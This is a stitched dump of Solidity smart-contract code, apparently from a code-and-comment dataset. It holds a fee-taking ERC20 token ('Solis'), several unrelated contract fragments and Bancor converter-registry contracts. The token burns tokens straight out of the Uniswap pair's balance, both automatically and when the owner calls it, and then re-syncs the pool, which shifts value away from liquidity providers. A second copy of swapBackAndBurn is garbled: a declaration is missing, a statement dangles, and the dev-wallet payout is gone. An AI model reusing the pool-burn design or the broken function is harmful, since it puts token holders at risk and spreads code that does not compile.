// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Solis", "Solis") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 3;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 2;
uint256 _buyBurnFee = 1;
uint256 _sellMarketingFee = 4;
uint256 _sellLiquidityFee = 1;
uint256 _sellDevFee = 2;
uint256 _sellBurnFee = 1;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyBurnFee = _buyBurnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellBurnFee = _sellBurnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
marketingWallet = address(0x1488e078eb89e5c1c617387Fb00d9a5882863A2D);
devWallet = address(0xc1C70575B54CE93d29368Aae6828fDF3b1275d30);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _burnFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyBurnFee = _burnFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee + buyBurnFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _burnFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellBurnFee = _burnFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee + sellBurnFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBackAndBurn();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
tokensForBurn += (fees * sellBurnFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
tokensForBurn += (fees * buyBurnFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBackAndBurn() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
// move tokens from burn fee to dead address permanently
if (tokensForBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), tokensForBurn);
}
tokensForBurn = 0;
// send ETH out to the dev and marketing wallet
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
move tokens from burn fee to dead address permanently
|
function swapBackAndBurn() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (tokensForBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), tokensForBurn);
}
tokensForBurn = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
| 10,905,824
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./full_match/43113/0xDe54Fb7dCB51fa489E970A603C96842fb20E22b4/sources/TestContract.sol
|
* @dev See {IERC721-safeTransferFrom}./
|
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable virtual override {
require(
msg.value > 0,
"no og minter reward"
);
safeTransferFrom(from, to, tokenId, "");
}
| 7,124,264
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./partial_match/1/0x1e64C539Ec4fc926297D3CD9A316Ad006f78df1f/sources/Strategy.sol
|
dai to ntrumpuint256 outAmount = bpool.calcOutGivenIn(balanceD, weightD, balanceN, weightN, lotSizeBuy, swapFee);decimal changes make this harder. 1e21 = 18 + 18 - 15return(true,false);decimal changes make this harder. 1e21 = 18 + 18 - 15return(false, true);
|
function sellOrBuy() public view returns (bool _buy, bool _sell){
address[] memory path = new address[](2);
path[0] = address(want);
path[1] = address(ntrump);
uint256[] memory amounts = sushiswapRouter.getAmountsOut(lotSizeBuy, path);
uint256 outAmount = amounts[amounts.length - 1];
if(outAmount >= lotSizeBuy.mul(minBuy).div(1e21)){
_buy = true;
}
path[1] = address(want);
amounts = sushiswapRouter.getAmountsOut(lotSizeSell, path);
outAmount = amounts[amounts.length - 1];
if(outAmount.mul(minSell).div(1e21) >= lotSizeSell){
_sell = true;
}
}
| 4,369,508
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./partial_match/1/0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28/sources/DebtToken.sol
|
* @dev Returns the fee applied when doing flash loans. This function calls the {_flashFee} function which returns the fee applied when doing flash loans. @param token The token to be flash loaned. @param amount The amount of tokens to be loaned. @return The fees applied to the corresponding flash loan./
|
function flashFee(address token, uint256 amount) external view returns (uint256) {
return token == address(this) ? _flashFee(amount) : 0;
}
| 2,611,453
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./full_match/42/0xf4920775dFfaF99ABcCEb6dc14cBC8228Fea9554/sources/coin_in_sc.sol
|
Current generic swap function
|
function swap_1(
uint256 _amountIn,
uint256 _amountOutMin,
address _inputToken,
address _outputToken,
address _pair
) external payable onlyOwner {
uint[] memory amounts = _getAmountsOut(_pair, _amountIn, _inputToken, _outputToken);
require(amounts[1] >= _amountOutMin, 'swapExactTokensForTokens: amounts[1] < amountOutMin');
TransferHelper.safeTransfer(_inputToken, _pair, amounts[0]);
_swap(amounts, _inputToken, _outputToken, address(this), _pair);
}
| 9,575,444
|
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// File: contracts/utility/interfaces/IOwned.sol
pragma solidity 0.4.26;
/*
Owned contract interface
*/
contract IOwned {
// this function isn't abstract since the compiler emits automatically generated getter functions as external
function owner() public view returns (address) {this;}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
// File: contracts/utility/Owned.sol
pragma solidity 0.4.26;
/**
* @dev Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// File: contracts/utility/Utils.sol
pragma solidity 0.4.26;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
/**
* constructor
*/
constructor() public {
}
// verifies that an amount is greater than zero
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
}
// File: contracts/utility/interfaces/IContractRegistry.sol
pragma solidity 0.4.26;
/*
Contract Registry interface
*/
contract IContractRegistry {
function addressOf(bytes32 _contractName) public view returns (address);
// deprecated, backward compatibility
function getAddress(bytes32 _contractName) public view returns (address);
}
// File: contracts/utility/ContractRegistryClient.sol
pragma solidity 0.4.26;
/**
* @dev Base contract for ContractRegistry clients
*/
contract ContractRegistryClient is Owned, Utils {
bytes32 internal constant CONTRACT_FEATURES = "ContractFeatures";
bytes32 internal constant CONTRACT_REGISTRY = "ContractRegistry";
bytes32 internal constant NON_STANDARD_TOKEN_REGISTRY = "NonStandardTokenRegistry";
bytes32 internal constant BANCOR_NETWORK = "BancorNetwork";
bytes32 internal constant BANCOR_FORMULA = "BancorFormula";
bytes32 internal constant BANCOR_GAS_PRICE_LIMIT = "BancorGasPriceLimit";
bytes32 internal constant BANCOR_CONVERTER_FACTORY = "BancorConverterFactory";
bytes32 internal constant BANCOR_CONVERTER_UPGRADER = "BancorConverterUpgrader";
bytes32 internal constant BANCOR_CONVERTER_REGISTRY = "BancorConverterRegistry";
bytes32 internal constant BANCOR_CONVERTER_REGISTRY_DATA = "BancorConverterRegistryData";
bytes32 internal constant BNT_TOKEN = "BNTToken";
bytes32 internal constant BANCOR_X = "BancorX";
bytes32 internal constant BANCOR_X_UPGRADER = "BancorXUpgrader";
IContractRegistry public registry; // address of the current contract-registry
IContractRegistry public prevRegistry; // address of the previous contract-registry
bool public adminOnly; // only an administrator can update the contract-registry
/**
* @dev verifies that the caller is mapped to the given contract name
*
* @param _contractName contract name
*/
modifier only(bytes32 _contractName) {
require(msg.sender == addressOf(_contractName));
_;
}
/**
* @dev initializes a new ContractRegistryClient instance
*
* @param _registry address of a contract-registry contract
*/
constructor(IContractRegistry _registry) internal validAddress(_registry) {
registry = IContractRegistry(_registry);
prevRegistry = IContractRegistry(_registry);
}
/**
* @dev updates to the new contract-registry
*/
function updateRegistry() public {
// verify that this function is permitted
require(!adminOnly || isAdmin());
// get the new contract-registry
address newRegistry = addressOf(CONTRACT_REGISTRY);
// verify that the new contract-registry is different and not zero
require(newRegistry != address(registry) && newRegistry != address(0));
// verify that the new contract-registry is pointing to a non-zero contract-registry
require(IContractRegistry(newRegistry).addressOf(CONTRACT_REGISTRY) != address(0));
// save a backup of the current contract-registry before replacing it
prevRegistry = registry;
// replace the current contract-registry with the new contract-registry
registry = IContractRegistry(newRegistry);
}
/**
* @dev restores the previous contract-registry
*/
function restoreRegistry() public {
// verify that this function is permitted
require(isAdmin());
// restore the previous contract-registry
registry = prevRegistry;
}
/**
* @dev restricts the permission to update the contract-registry
*
* @param _adminOnly indicates whether or not permission is restricted to administrator only
*/
function restrictRegistryUpdate(bool _adminOnly) public {
// verify that this function is permitted
require(adminOnly != _adminOnly && isAdmin());
// change the permission to update the contract-registry
adminOnly = _adminOnly;
}
/**
* @dev returns whether or not the caller is an administrator
*/
function isAdmin() internal view returns (bool) {
return msg.sender == owner;
}
/**
* @dev returns the address associated with the given contract name
*
* @param _contractName contract name
*
* @return contract address
*/
function addressOf(bytes32 _contractName) internal view returns (address) {
return registry.addressOf(_contractName);
}
}
// File: contracts/token/interfaces/IERC20Token.sol
pragma solidity 0.4.26;
/*
ERC20 Standard Token interface
*/
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public view returns (string) {this;}
function symbol() public view returns (string) {this;}
function decimals() public view returns (uint8) {this;}
function totalSupply() public view returns (uint256) {this;}
function balanceOf(address _owner) public view returns (uint256) {_owner; this;}
function allowance(address _owner, address _spender) public view returns (uint256) {_owner; _spender; this;}
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
// File: contracts/utility/interfaces/IWhitelist.sol
pragma solidity 0.4.26;
/*
Whitelist interface
*/
contract IWhitelist {
function isWhitelisted(address _address) public view returns (bool);
}
// File: contracts/converter/interfaces/IBancorConverter.sol
pragma solidity 0.4.26;
/*
Bancor Converter interface
*/
contract IBancorConverter {
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256, uint256);
function convert2(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee) public returns (uint256);
function quickConvert2(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee) public payable returns (uint256);
function conversionWhitelist() public view returns (IWhitelist) {this;}
function conversionFee() public view returns (uint32) {this;}
function reserves(address _address) public view returns (uint256, uint32, bool, bool, bool) {_address; this;}
function getReserveBalance(IERC20Token _reserveToken) public view returns (uint256);
function reserveTokens(uint256 _index) public view returns (IERC20Token) {_index; this;}
// deprecated, backward compatibility
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function connectors(address _address) public view returns (uint256, uint32, bool, bool, bool);
function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256);
function connectorTokens(uint256 _index) public view returns (IERC20Token);
function connectorTokenCount() public view returns (uint16);
}
// File: contracts/converter/interfaces/IBancorConverterRegistry.sol
pragma solidity 0.4.26;
interface IBancorConverterRegistry {
function addConverter(IBancorConverter _converter) external;
function removeConverter(IBancorConverter _converter) external;
function getSmartTokenCount() external view returns (uint);
function getSmartTokens() external view returns (address[]);
function getSmartToken(uint _index) external view returns (address);
function isSmartToken(address _value) external view returns (bool);
function getLiquidityPoolCount() external view returns (uint);
function getLiquidityPools() external view returns (address[]);
function getLiquidityPool(uint _index) external view returns (address);
function isLiquidityPool(address _value) external view returns (bool);
function getConvertibleTokenCount() external view returns (uint);
function getConvertibleTokens() external view returns (address[]);
function getConvertibleToken(uint _index) external view returns (address);
function isConvertibleToken(address _value) external view returns (bool);
function getConvertibleTokenSmartTokenCount(address _convertibleToken) external view returns (uint);
function getConvertibleTokenSmartTokens(address _convertibleToken) external view returns (address[]);
function getConvertibleTokenSmartToken(address _convertibleToken, uint _index) external view returns (address);
function isConvertibleTokenSmartToken(address _convertibleToken, address _value) external view returns (bool);
}
// File: contracts/converter/interfaces/IBancorConverterRegistryData.sol
pragma solidity 0.4.26;
interface IBancorConverterRegistryData {
function addSmartToken(address _smartToken) external;
function removeSmartToken(address _smartToken) external;
function addLiquidityPool(address _liquidityPool) external;
function removeLiquidityPool(address _liquidityPool) external;
function addConvertibleToken(address _convertibleToken, address _smartToken) external;
function removeConvertibleToken(address _convertibleToken, address _smartToken) external;
function getSmartTokenCount() external view returns (uint);
function getSmartTokens() external view returns (address[]);
function getSmartToken(uint _index) external view returns (address);
function isSmartToken(address _value) external view returns (bool);
function getLiquidityPoolCount() external view returns (uint);
function getLiquidityPools() external view returns (address[]);
function getLiquidityPool(uint _index) external view returns (address);
function isLiquidityPool(address _value) external view returns (bool);
function getConvertibleTokenCount() external view returns (uint);
function getConvertibleTokens() external view returns (address[]);
function getConvertibleToken(uint _index) external view returns (address);
function isConvertibleToken(address _value) external view returns (bool);
function getConvertibleTokenSmartTokenCount(address _convertibleToken) external view returns (uint);
function getConvertibleTokenSmartTokens(address _convertibleToken) external view returns (address[]);
function getConvertibleTokenSmartToken(address _convertibleToken, uint _index) external view returns (address);
function isConvertibleTokenSmartToken(address _convertibleToken, address _value) external view returns (bool);
}
// File: contracts/token/interfaces/ISmartToken.sol
pragma solidity 0.4.26;
/*
Smart Token interface
*/
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/token/interfaces/ISmartTokenController.sol
pragma solidity 0.4.26;
/*
Smart Token Controller interface
*/
contract ISmartTokenController {
function claimTokens(address _from, uint256 _amount) public;
function token() public view returns (ISmartToken) {this;}
}
// File: contracts/converter/BancorConverterRegistry.sol
pragma solidity 0.4.26;
/*
* The BancorConverterRegistry maintains a list of all active converters in the Bancor Network.
*
* Since converters can be upgraded and thus their address can change, the registry actually
* keeps smart tokens internally and not the converters themselves.
* The active converter for each smart token can be easily accessed by querying the smart token owner.
*
* The registry exposes 3 differnet lists that can be accessed and iterated, based on the use-case of the caller:
* - Smart tokens - can be used to get all the latest / historical data in the network
* - Liquidity pools - can be used to get all liquidity pools for funding, liquidation etc.
* - Convertible tokens - can be used to get all tokens that can be converted in the network (excluding pool
* tokens), and for each one - all smart tokens that hold it in their reserves
*
*
* The contract fires events whenever one of the primitives is added to or removed from the registry
*
* The contract is upgradable.
*/
contract BancorConverterRegistry is IBancorConverterRegistry, ContractRegistryClient {
/**
* @dev triggered when a smart token is added to the registry
*
* @param _smartToken smart token
*/
event SmartTokenAdded(address indexed _smartToken);
/**
* @dev triggered when a smart token is removed from the registry
*
* @param _smartToken smart token
*/
event SmartTokenRemoved(address indexed _smartToken);
/**
* @dev triggered when a liquidity pool is added to the registry
*
* @param _liquidityPool liquidity pool
*/
event LiquidityPoolAdded(address indexed _liquidityPool);
/**
* @dev triggered when a liquidity pool is removed from the registry
*
* @param _liquidityPool liquidity pool
*/
event LiquidityPoolRemoved(address indexed _liquidityPool);
/**
* @dev triggered when a convertible token is added to the registry
*
* @param _convertibleToken convertible token
* @param _smartToken associated smart token
*/
event ConvertibleTokenAdded(address indexed _convertibleToken, address indexed _smartToken);
/**
* @dev triggered when a convertible token is removed from the registry
*
* @param _convertibleToken convertible token
* @param _smartToken associated smart token
*/
event ConvertibleTokenRemoved(address indexed _convertibleToken, address indexed _smartToken);
/**
* @dev initializes a new BancorConverterRegistry instance
*
* @param _registry address of a contract registry contract
*/
constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public {
}
/**
* @dev adds a converter to the registry
* anyone can add a converter to the registry, as long as the converter is active and valid
*
* @param _converter converter
*/
function addConverter(IBancorConverter _converter) external {
// validate input
require(isConverterValid(_converter));
IBancorConverterRegistryData converterRegistryData = IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA));
ISmartToken token = ISmartTokenController(_converter).token();
uint reserveTokenCount = _converter.connectorTokenCount();
// add the smart token
addSmartToken(converterRegistryData, token);
if (reserveTokenCount > 1)
addLiquidityPool(converterRegistryData, token);
else
addConvertibleToken(converterRegistryData, token, token);
// add all reserve tokens
for (uint i = 0; i < reserveTokenCount; i++)
addConvertibleToken(converterRegistryData, _converter.connectorTokens(i), token);
}
/**
* @dev removes a converter from the registry
* anyone can remove invalid or inactive converters from the registry
* note that the owner can also remove valid converters
*
* @param _converter converter
*/
function removeConverter(IBancorConverter _converter) external {
// validate input
require(msg.sender == owner || !isConverterValid(_converter));
IBancorConverterRegistryData converterRegistryData = IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA));
ISmartToken token = ISmartTokenController(_converter).token();
uint reserveTokenCount = _converter.connectorTokenCount();
// remove the smart token
removeSmartToken(converterRegistryData, token);
if (reserveTokenCount > 1)
removeLiquidityPool(converterRegistryData, token);
else
removeConvertibleToken(converterRegistryData, token, token);
// remove all reserve tokens
for (uint i = 0; i < reserveTokenCount; i++)
removeConvertibleToken(converterRegistryData, _converter.connectorTokens(i), token);
}
/**
* @dev returns the number of smart tokens in the registry
*
* @return number of smart tokens
*/
function getSmartTokenCount() external view returns (uint) {
return IBancorConverterRegistryData(addressOf(BANCOR_CONVERTER_REGISTRY_DATA)).getSmartTokenCount();
}
/**
* @dev returns the list of smart tokens in the registry
*
* @return list of smart tokens
*/
function getSmartTokens() external view returns (address[]) {
